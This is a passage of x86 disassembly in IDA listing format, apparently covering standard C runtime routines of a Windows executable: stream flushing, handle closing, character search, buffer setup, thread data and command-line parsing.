var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_408DBE
		push	6
		call	sub_408800
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_408DA8
; ---------------------------------------------------------------------------


loc_408D88:				; CODE XREF: sub_408D60+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411370[eax*4]
		test	eax, eax
		jz	short loc_408DA5
		push	eax
		call	sub_408D60
		pop	ecx
		test	eax, eax
		jge	short loc_408DA5
		or	[ebp+var_8], 0FFFFFFFFh


loc_408DA5:				; CODE XREF: sub_408D60+34j
					; sub_408D60+3Fj
		inc	[ebp+var_4]


loc_408DA8:				; CODE XREF: sub_408D60+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_408D88
		push	6
		call	sub_408880
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_408E30
; ---------------------------------------------------------------------------


loc_408DBE:				; CODE XREF: sub_408D60+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_408DC9
		xor	eax, eax
		jmp	short loc_408E30
; ---------------------------------------------------------------------------


loc_408DC9:				; CODE XREF: sub_408D60+63j
		mov	esi, [ebx+8]
		jmp	short loc_408E05
; ---------------------------------------------------------------------------


loc_408DCE:				; CODE XREF: sub_408D60+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_40A920
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_408E03
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_408E30
; ---------------------------------------------------------------------------


loc_408E03:				; CODE XREF: sub_408D60+85j
		add	esi, edi


loc_408E05:				; CODE XREF: sub_408D60+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_408DCE
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_408E1C
		mov	esi, [ebx+8]
		jmp	short loc_408E1F
; ---------------------------------------------------------------------------


loc_408E1C:				; CODE XREF: sub_408D60+B5j
		mov	esi, [ebx+0Ch]


loc_408E1F:				; CODE XREF: sub_408D60+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_408E2B
		mov	[ebx+18h], esi
		jmp	short loc_408E2E
; ---------------------------------------------------------------------------


loc_408E2B:				; CODE XREF: sub_408D60+C4j
		mov	[ebx+30h], esi


loc_408E2E:				; CODE XREF: sub_408D60+C9j
		xor	eax, eax


loc_408E30:				; CODE XREF: sub_408D60+5Cj
					; sub_408D60+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E40	proc near		; CODE XREF: sub_408EE0+41p
					; sub_40B9A0+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AC20
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408E8F
		cmp	ebx, 1
		jz	short loc_408E63
		cmp	ebx, 2
		jnz	short loc_408E7D


loc_408E63:				; CODE XREF: sub_408E40+1Cj
		push	1
		call	sub_40AC20
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_40AC20
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_408E8F


loc_408E7D:				; CODE XREF: sub_408E40+21j
		push	ebx
		call	sub_40AC20
		pop	ecx
		push	eax
		call	dword_411CF8
		test	eax, eax
		jz	short loc_408E93


loc_408E8F:				; CODE XREF: sub_408E40+17j
					; sub_408E40+3Bj
		xor	esi, esi
		jmp	short loc_408E9B
; ---------------------------------------------------------------------------


loc_408E93:				; CODE XREF: sub_408E40+4Dj
		call	dword_411CE8
		mov	esi, eax


loc_408E9B:				; CODE XREF: sub_408E40+51j
		push	ebx
		call	sub_40AAD0
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_408ECB
		push	esi
		call	sub_408300
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_408ECD
; ---------------------------------------------------------------------------


loc_408ECB:				; CODE XREF: sub_408E40+7Dj
		xor	eax, eax


loc_408ECD:				; CODE XREF: sub_408E40+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408EE0	proc near		; CODE XREF: sub_407540+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_408F09
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_408F19


loc_408F09:				; CODE XREF: sub_408EE0+Cj
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_408F32
; ---------------------------------------------------------------------------


loc_408F19:				; CODE XREF: sub_408EE0+27j
		push	ebx
		call	sub_40AD40
		pop	ecx
		push	ebx
		call	sub_408E40
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_408F32:				; CODE XREF: sub_408EE0+37j
		pop	esi
		pop	ebx
		retn
sub_408EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408F40	proc near		; CODE XREF: sub_407780+39p
					; sub_4088A0+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_408F55
; ---------------------------------------------------------------------------


loc_408F4C:				; CODE XREF: sub_408F40+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_408F54
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_408F54:				; CODE XREF: sub_408F40+Fj
		inc	ecx


loc_408F55:				; CODE XREF: sub_408F40+Aj
		cmp	[ecx], dl
		jnz	short loc_408F4C
		mov	eax, ecx
		retn
sub_408F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F60	proc near		; CODE XREF: sub_407820+3Dp
					; sub_40CEC0+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_408F79
		xor	eax, eax
		jmp	loc_409052
; ---------------------------------------------------------------------------


loc_408F79:				; CODE XREF: sub_408F60+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_408FB5
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_409052
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_408F60+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_408FDC
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_408FDC
		push	ebx
		call	sub_408D60
		pop	ecx
		test	eax, eax
		jz	short loc_408FDC
		or	eax, 0FFFFFFFFh
		jmp	short loc_409052
; ---------------------------------------------------------------------------


loc_408FDC:				; CODE XREF: sub_408F60+62j
					; sub_408F60+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_408FEB
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_408FED


loc_408FEB:				; CODE XREF: sub_408F60+81j
		jmp	short loc_40903F
; ---------------------------------------------------------------------------


loc_408FED:				; CODE XREF: sub_408F60+89j
		push	200h
		call	sub_408260
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_409019
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_4074C0
		jmp	short loc_40903F
; ---------------------------------------------------------------------------


loc_409019:				; CODE XREF: sub_408F60+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_4074C0


loc_40903F:				; CODE XREF: sub_408F60:loc_408FEBj
					; sub_408F60+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_409052:				; CODE XREF: sub_408F60+14j
					; sub_408F60+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409060	proc near		; CODE XREF: sub_407820+59p
					; sub_409CF0+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_409071:				; CODE XREF: sub_409060+1Dj
		cmp	[edx], bl
		jnz	short loc_409079
		mov	eax, edx
		jmp	short loc_409081
; ---------------------------------------------------------------------------


loc_409079:				; CODE XREF: sub_409060+13j
		inc	edx
		dec	ecx


loc_40907B:				; CODE XREF: sub_409060+Fj
		test	ecx, ecx
		jnz	short loc_409071
		xor	eax, eax


loc_409081:				; CODE XREF: sub_409060+17j
		pop	ebx
		retn
sub_409060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409090	proc near		; CODE XREF: sub_407B60:loc_407BA7p
		push	ebx
		call	sub_408760
		call	dword_411DD4
		mov	dword_411770, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4090AC
		xor	eax, eax
		jmp	short loc_4090E7
; ---------------------------------------------------------------------------


loc_4090AC:				; CODE XREF: sub_409090+16j
		push	48h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4090CB
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jnz	short loc_4090CF


loc_4090CB:				; CODE XREF: sub_409090+28j
		xor	eax, eax
		jmp	short loc_4090E7
; ---------------------------------------------------------------------------


loc_4090CF:				; CODE XREF: sub_409090+39j
		push	ebx
		call	sub_409120
		pop	ecx
		call	dword_411DD8
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_4090E7:				; CODE XREF: sub_409090+1Aj
					; sub_409090+3Dj
		pop	ebx
		retn
sub_409090	endp

; ---------------------------------------------------------------------------
		align 10h
		call	sub_4087A0
		cmp	dword_411770, 0FFFFFFFFh
		jz	short locret_409114
		mov	eax, dword_411770
		push	eax
		call	dword_411DDC
		or	dword_411770, 0FFFFFFFFh

locret_409114:				; CODE XREF: DMN0:004090FFj
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409120	proc near		; CODE XREF: sub_4079D0+17p
					; sub_409090+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E4
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_409120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409150	proc near		; CODE XREF: sub_407A60+1p sub_408460p ...
		push	ebx
		push	esi
		call	dword_411CE8
		mov	esi, eax
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4091A8
		push	48h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4091A0
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jz	short loc_4091A0
		push	ebx
		call	sub_409120
		pop	ecx
		call	dword_411DD8
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_4091A8
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_409150+28j
					; sub_409150+39j
		push	1
		call	sub_409250
		pop	ecx


loc_4091A8:				; CODE XREF: sub_409150+1Aj
					; sub_409150+4Ej
		push	esi
		call	dword_411D14
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4091C0	proc near		; CODE XREF: sub_407A60+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411770, 0FFFFFFFFh
		jz	short loc_40924C
		test	ebx, ebx
		jnz	short loc_4091E3
		mov	eax, dword_411770
		push	eax
		call	dword_411DE0
		mov	ebx, eax


loc_4091E3:				; CODE XREF: sub_4091C0+13j
		test	ebx, ebx
		jz	short loc_40923E
		mov	eax, [ebx+20h]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, [ebx+2Ch]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E4
		jz	short loc_40922D
		mov	eax, [ebx+34h]
		push	eax
		call	sub_4071B0
		pop	ecx


loc_40922D:				; CODE XREF: sub_4091C0+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4071B0
		pop	ecx
		push	ebx
		call	sub_4071B0
		pop	ecx


loc_40923E:				; CODE XREF: sub_4091C0+25j
		push	0
		mov	eax, dword_411770
		push	eax
		call	dword_411D98


loc_40924C:				; CODE XREF: sub_4091C0+Fj
		pop	ebx
		retn
sub_4091C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409250	proc near		; CODE XREF: sub_407930+3Cp
					; sub_407930+7Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D30
		retn
sub_409250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409260	proc near		; CODE XREF: sub_407930+6Ap
					; sub_407B60+F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411774
		jmp	short loc_4092B2
; ---------------------------------------------------------------------------


loc_40926E:				; CODE XREF: sub_409260+58j
		cmp	[esi], ebx
		jnz	short loc_4092AF
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_40AE10
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40928E
		test	edi, edi
		jnz	short loc_409290


loc_40928E:				; CODE XREF: sub_409260+28j
		jmp	short loc_4092BA
; ---------------------------------------------------------------------------


loc_409290:				; CODE XREF: sub_409260+2Cj
		cmp	edi, 1
		jz	short loc_4092AA
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_40AE10
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_4092AA:				; CODE XREF: sub_409260+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4092C5
; ---------------------------------------------------------------------------


loc_4092AF:				; CODE XREF: sub_409260+10j
		add	esi, 8


loc_4092B2:				; CODE XREF: sub_409260+Cj
		cmp	esi, offset dword_4117C4
		jb	short loc_40926E


loc_4092BA:				; CODE XREF: sub_409260:loc_40928Ej
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE4


loc_4092C5:				; CODE XREF: sub_409260+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4092D0	proc near		; CODE XREF: sub_407B50+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D18
		test	eax, eax
		jnz	short loc_4092F0
		call	dword_411CE8
		push	eax
		call	sub_408300
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4092F0:				; CODE XREF: sub_4092D0+Dj
		xor	eax, eax
		retn
sub_4092D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409300	proc near		; CODE XREF: sub_407B60+5Fp
		push	offset dword_412854
		call	dword_411DE8
		retn
sub_409300	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DE8
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412854
		mov	ebx, dword_412858
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_40AF00
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409360	proc near		; CODE XREF: sub_407B60+64p

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_409382
		push	1
		call	sub_409250
		pop	ecx


loc_409382:				; CODE XREF: sub_409360+18j
		mov	dword_413988, ebx
		mov	dword_413A88, 20h
		jmp	short loc_4093AC
; ---------------------------------------------------------------------------


loc_409394:				; CODE XREF: sub_409360+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_4093AC:				; CODE XREF: sub_409360+32j
		mov	eax, dword_413988
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_409394
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DA8
		cmp	[ebp+var_26], 0
		jz	loc_4094D2
		cmp	[ebp+var_24], 0
		jz	loc_4094D2
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_409403
		mov	[ebp+var_10], 800h


loc_409403:				; CODE XREF: sub_409360+9Aj
		mov	esi, 1
		jmp	short loc_40945E
; ---------------------------------------------------------------------------


loc_40940A:				; CODE XREF: sub_409360+107j
		push	480h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_409425
		mov	eax, dword_413A88
		mov	[ebp+var_10], eax
		jmp	short loc_409469
; ---------------------------------------------------------------------------


loc_409425:				; CODE XREF: sub_409360+B9j
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_40944D
; ---------------------------------------------------------------------------


loc_409435:				; CODE XREF: sub_409360+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40944D:				; CODE XREF: sub_409360+D3j
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_409435
		inc	esi


loc_40945E:				; CODE XREF: sub_409360+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A88, eax
		jl	short loc_40940A


loc_409469:				; CODE XREF: sub_409360+C3j
		xor	edi, edi
		jmp	short loc_4094CD
; ---------------------------------------------------------------------------


loc_40946D:				; CODE XREF: sub_409360+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4094C0
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_4094C0
		test	edx, 8
		jnz	short loc_40949A
		push	eax
		call	dword_411DEC
		test	eax, eax
		jz	short loc_4094C0


loc_40949A:				; CODE XREF: sub_409360+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_4094C0:				; CODE XREF: sub_409360+117j
					; sub_409360+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_4094CD:				; CODE XREF: sub_409360+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_40946D


loc_4094D2:				; CODE XREF: sub_409360+69j
					; sub_409360+73j
		xor	edi, edi


loc_4094D4:				; CODE XREF: sub_409360+23Ej
		imul	eax, edi, 24h
		mov	edx, dword_413988
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_409596
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_4094FD
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_40950E
; ---------------------------------------------------------------------------


loc_4094FD:				; CODE XREF: sub_409360+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_40950E:				; CODE XREF: sub_409360+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD4
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409590
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DEC
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_409590
		call	dword_411D64
		mov	[ebp+var_64], eax
		call	dword_411D64
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF0
		test	eax, eax
		jz	short loc_409565
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_409565:				; CODE XREF: sub_409360+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_40957D
		or	byte ptr [ebx+4], 40h
		jmp	short loc_40959A
; ---------------------------------------------------------------------------


loc_40957D:				; CODE XREF: sub_409360+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_40959A
		or	byte ptr [ebx+4], 8
		jmp	short loc_40959A
; ---------------------------------------------------------------------------


loc_409590:				; CODE XREF: sub_409360+1C0j
					; sub_409360+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_40959A
; ---------------------------------------------------------------------------


loc_409596:				; CODE XREF: sub_409360+186j
		or	byte ptr [ebx+4], 80h


loc_40959A:				; CODE XREF: sub_409360+21Bj
					; sub_409360+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_4094D4
		mov	eax, dword_413A88
		push	eax
		call	dword_411DF4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409360	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		xor	ebx, ebx


loc_4095C4:				; CODE XREF: DMN0:00409617j
		cmp	dword_413988[ebx*4], 0
		jz	short loc_409613
		mov	esi, dword_413988[ebx*4]
		jmp	short loc_4095EA
; ---------------------------------------------------------------------------


loc_4095D7:				; CODE XREF: DMN0:004095F8j
		cmp	dword ptr [esi+8], 0
		jz	short loc_4095E7
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DCC


loc_4095E7:				; CODE XREF: DMN0:004095DBj
		add	esi, 24h


loc_4095EA:				; CODE XREF: DMN0:004095D5j
		mov	eax, dword_413988[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_4095D7
		mov	eax, dword_413988[ebx*4]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	dword_413988[ebx*4], 0


loc_409613:				; CODE XREF: DMN0:004095CCj
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_4095C4
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409620	proc near		; CODE XREF: sub_4097D0+3Fp
					; sub_4097D0+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_409651
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_409651:				; CODE XREF: sub_409620+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40968C
		jmp	short loc_409668
; ---------------------------------------------------------------------------


loc_409658:				; CODE XREF: sub_409620+53j
		test	ecx, ecx
		jz	short loc_409663
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409663:				; CODE XREF: sub_409620+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409668:				; CODE XREF: sub_409620+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_409675
		cmp	byte ptr [ebx],	0
		jnz	short loc_409658


loc_409675:				; CODE XREF: sub_409620+4Ej
		test	ecx, ecx
		jz	short loc_40967F
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_40967F:				; CODE XREF: sub_409620+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4096C4
		inc	ebx
		jmp	short loc_4096C4
; ---------------------------------------------------------------------------


loc_40968C:				; CODE XREF: sub_409620+34j
					; sub_409620+91j
		test	ecx, ecx
		jz	short loc_409697
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409697:				; CODE XREF: sub_409620+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_4096B3
		test	al, al
		jz	short loc_4096B3
		cmp	al, 9
		jnz	short loc_40968C


loc_4096B3:				; CODE XREF: sub_409620+89j
					; sub_409620+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_4096BC
		dec	ebx
		jmp	short loc_4096C4
; ---------------------------------------------------------------------------


loc_4096BC:				; CODE XREF: sub_409620+97j
		test	ecx, ecx
		jz	short loc_4096C4
		mov	byte ptr [ecx-1], 0


loc_4096C4:				; CODE XREF: sub_409620+67j
					; sub_409620+6Aj ...
		mov	[ebp+var_8], 0


loc_4096CB:				; CODE XREF: sub_409620+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_4096DD
		jmp	short loc_4096D3
; ---------------------------------------------------------------------------


